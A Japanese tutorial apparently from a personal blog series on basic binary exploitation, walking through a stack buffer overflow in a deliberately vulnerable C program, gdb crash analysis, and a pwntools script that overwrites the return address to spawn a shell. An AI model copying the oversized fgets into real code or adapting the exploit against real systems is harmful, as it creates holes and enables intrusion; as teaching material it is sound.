pwn基礎 バッファオーバーフロー2
前回の続き。
折角なので使っているコードとかをリポジトリにまとめておく。
サンプルコード
攻撃対象にするコード。
#include <stdio.h> #include <unistd.h> void shell() { char* args[] = {"/bin/sh", NULL}; execve("/bin/sh", args, NULL); } void echo() { char buf[0x100]; fgets(buf, 0x200, stdin); puts(buf); return; } int main(int argc, char** argv){ while(1) { echo(); } `` return 0; }
gcc -Wformat-security -fno-stack-protector -m32 -o overflow overflow.c
でビルドしたものを使う。
今回はバッファオーバーフローの脆弱性を利用して、プログラム内の関数、shell()を呼び出してみる。
手順
脆弱性の発見
簡単なコードなのでぱっと見で分かると思うが、echo関数内のfgetsでバッファオーバーフローしている。
0x200文字の文字列を入力するとプログラムがSIGSEGVで落ちる。
このときどんな状態になっているかをgdb-pedaで確認してみる。
gdb overflow
で普通にgdbを起動する。
文字列を入力するときは、pattc 0x200
と入力すると0x200文字の文字列を自動的に生成してくれる。
runかrでプログラムを実行し、さきほど生成した文字列を入力してみる。
[----------------------------------registers-----------------------------------] EAX: 0x200 EBX: 0x0 ECX: 0xffffffff EDX: 0xf7fa5870 --> 0x0 ESI: 0xf7fa4000 --> 0x1b1db0 EDI: 0xf7fa4000 --> 0x1b1db0 EBP: 0x64254148 ('HA%d') ESP: 0xffffcb30 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3"...) EIP: 0x41332541 ('A%3A') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41332541 [------------------------------------stack-------------------------------------] 0000| 0xffffcb30 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3"...) 0004| 0xffffcb34 ("eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIA"...) 0008| 0xffffcb38 ("A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs"...) 0012| 0xffffcb3c ("%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJ"...) 0016| 0xffffcb40 ("5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA"...) 0020| 0xffffcb44 ("A%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5As"...) 0024| 0xffffcb48 ("%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsg"...) 0028| 0xffffcb4c ("LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A"...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41332541 in ?? ()
こんな感じになる、予想通りではあるがSIGSEGVで落ちている。注目するべきはeip、またはcodeセクションで表示されているメッセージである。 $PCまたはeipが指している値が不正なものになってしまったことがSIGSEGVの原因らしいことがメッセージから読み取れる。
eipの値が文字列として表示されているので気付いたと思うが、これは入力した文字列の一部である。 そして、eipは次に実行する命令へのポインタを意味するので、これは次に実行する命令の位置をこっちが好きなように指定できるということになる。 入力した文字列が本来のバッファのサイズを越えてリターンアドレスを書き換えてしまったので、echo関数からreturnするときにこのような不正な値になってしまったのである。
では、具体的に文字列のどのあたりがリターンアドレスに対応するのか?
文字列を少しずつ変化させてみていってもいいが、ここではpattoが使える。
patto A%3A
もしくはpatto 0x41332541
で対応するオフセットが表示される。
ここでは268だった。
つまり、268文字目から4バイト分(32bit環境ではアドレスの長さ)がリターンアドレスとして設定される。
あとはここにshell関数の位置を設定してやればshell関数を呼び出せる。
アドレスの調査
では、shell関数のアドレスはどこになるのだろうか?
PIEと呼ばれる防御機構があると実行されるコードの位置もランダムになるのだが、今回は無効になっているので、コードは全て固定されたアドレスに配置されている。
また、プログラムがstripされていなければシンボルの名前の情報は残っている。
今回は残っているという前提で、gdbでp shell
して得たアドレスを使う。
exploitの作成
pwntoolsを使う。 みんな使ってるので使う。
from pwn import * trg = ELF('overflow') retaddr = trg.symbols['shell'] offset = 268 payload = 'A' * offset payload += p32(retaddr) p = process('overflow') p.sendline(payload) p.interactive()
ここではpwntoolsの解析機能からshell関数のアドレスを取得している(trg.symbols['shell']
)が、gdbから得た値を直接入れても構わない。
payload
が送信するデータになる。
まず最初にA268文字で先頭を埋め、リターンアドレスの位置にshell関数のアドレスを入れる。
大抵の環境ではリトルエンディアンにして数値を入れる必要があるので注意、といってもpwntoolsには自動でそれをやってくれるp32
関数があるのでそれを使おう。
process
でプログラムを実行し、送信、そしてシェルを起動する、という流れになる。
実行はpython exploit.py
でいい。
まとめ
たまにセキュリティ関連のニュースで任意のコードを実行可能な脆弱性とかでてくるけど、つまりはこんな感じにプログラムの制御を奪えるということなのである。